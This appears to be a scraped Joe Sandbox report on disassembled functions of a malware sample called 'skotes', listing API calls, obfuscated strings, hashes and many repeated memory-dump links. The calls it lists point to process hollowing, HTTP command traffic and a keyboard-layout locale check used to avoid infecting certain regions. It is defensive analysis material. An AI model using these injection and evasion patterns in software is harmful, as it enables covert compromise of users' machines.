Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 66ffbf3faadb194b5ed1ddab0a6b7c00a6d738559bbcaaeb13da308a599e0286
Instruction ID: 5376ddebbba06cff30ac975b430bab80ead6db13672146c1fe1c518c690fb823
Opcode Fuzzy Hash: 66ffbf3faadb194b5ed1ddab0a6b7c00a6d738559bbcaaeb13da308a599e0286
Instruction Fuzzy Hash: 3291B1B1A001189BDF28DB68CC85BEEB779EB85304F4045EDE51997282DB319BC4CFA5

Function 0099EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0099EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0099EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0099ED98

Strings

9c9aa5, xrefs: 0099FB8E
GiQaT29tduF=, xrefs: 0099FEB6
111, xrefs: 0099F7A0
WTs=, xrefs: 009A05CA
FCQgKF==, xrefs: 0099FEE4
246122658369, xrefs: 0099F737, 0099FA14, 0099FE00, 009A05E7
FisgLnsCZO1i, xrefs: 0099FF19
WDw=, xrefs: 0099F71D, 0099F9FA, 0099FDE3
mxo1L0x, xrefs: 0099EE84
invalid stoi argument, xrefs: 009A08B0
stoi argument out of range, xrefs: 009A08C4
UA==, xrefs: 0099EC41, 0099ED56, 0099EF89, 0099F2CE
#, xrefs: 009A0624

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 1917e8d4164670ac977e9d8d4a7b6377633d66ee9a309b129f41b7b1fb1f9026
Instruction ID: 5044aa60c011ae6295e31d8c382410f7e800569a542315675ab0f6c053d3469a
Opcode Fuzzy Hash: 1917e8d4164670ac977e9d8d4a7b6377633d66ee9a309b129f41b7b1fb1f9026
Instruction Fuzzy Hash: E1F24A71A001489BEF18DB3CCD9979DBB76AFC2304F148298E449E73D6DB359AC48B91

Function 0099BE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,64C8DA1E,?,00000000), ref: 0099BEB8
InternetOpenW.WININET(009E8DC8,00000000,00000000,00000000,00000000), ref: 0099BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0099BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0099BF36
HttpSendRequestA.WININET(?,00000000), ref: 0099BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 0099C0A8
InternetCloseHandle.WININET(?), ref: 0099C187
InternetCloseHandle.WININET(?), ref: 0099C18F
InternetCloseHandle.WININET(?), ref: 0099C197

Strings

invalid stoi argument, xrefs: 0099E4F4
stoi argument out of range, xrefs: 0099E4EA
RE1NXF==, xrefs: 0099BF0E
8HJUeIfzLo==, xrefs: 0099C3CB, 0099C623
8HJUeMD Lq5=, xrefs: 0099C465

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 248acf1b2ac827c658f847129f04b507417cad032b82da0ae459eb799441fdf5
Instruction ID: 00ca9747acfe2c86ff7eba90003ec70b59fd2a8d1f62d08863c1657190a6e42f
Opcode Fuzzy Hash: 248acf1b2ac827c658f847129f04b507417cad032b82da0ae459eb799441fdf5
Instruction Fuzzy Hash: E7B1D3B1A001189BDF28DF28CC85BAEBB79EF85304F508199F509972D1DB759AC0CF95

Function 009970A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 132
memoryprocessthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0099712B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00997144
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 00997159
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00997179
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 009971BB
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00997291

Strings

invalid stoi argument, xrefs: 00997090
, xrefs: 00997170
VUUU, xrefs: 00996F41

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$ContextCreateFreeMemoryReadThreadWow64
String ID: $VUUU$invalid stoi argument
API String ID: 752144545-3954507777
Opcode ID: c195be5f02f52389c2d05d2c1eadc1b556b5670d71c35ab9740c66b0522797fd
Instruction ID: 2fae957248e781397047d555a570a58bb30e42907f0dba3cffadf5c21837800d
Opcode Fuzzy Hash: c195be5f02f52389c2d05d2c1eadc1b556b5670d71c35ab9740c66b0522797fd
Instruction Fuzzy Hash: 7D418470298301BFF620DB64CC01F9BB7E9AF85B04F101529B794A61D0DBB1F915CB9A

Function 00996020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0099617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00996271

Strings

00000422, xrefs: 009960C9
Keyboard Layout\Preload, xrefs: 00996054
00000419, xrefs: 00996098
0000043f, xrefs: 0099612B
00000423, xrefs: 009960FA

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960132004.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960358231.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960557738.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960808160.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960938618.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961056139.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: fe02f6d59de318e57b50fa42dc6eb1949a5d5af07e431fb83c44003c4df8bf2a
Instruction ID: 356b53a5950dbb2fd895034a3ab2fee72b3284616839a70df7a8f342d74e4761
Opcode Fuzzy Hash: fe02f6d59de318e57b50fa42dc6eb1949a5d5af07e431fb83c44003c4df8bf2a
Instruction Fuzzy Hash: 97B1BE719002689BDF24DB68CC89BDEB779AB05300F5402D8E108E7291DB74AFE8CF95

Function 00997D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00997ED3

Strings

JjssOl==, xrefs: 0099813A
JjssPV==, xrefs: 009981E2
JjsrPl==, xrefs: 0099828A
JjsrQV==, xrefs: 00998092

Memory Dump Source

Source File: 00000006.00000002.2950352543.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2950164742.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2950352543.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951132144.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951340675.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2951633551.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953320477.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2953531604.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954539442.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954831583.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955059243.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955254503.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955464919.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955650428.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955765661.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955918157.0000000000BB0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956067792.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956184552.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956299578.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956528045.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2956631567.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957526093.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957714400.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957900961.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958091465.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958162172.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958358158.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958517517.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958607514.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958724754.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958808925.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958993079.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959185015.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959368951.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959527004.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
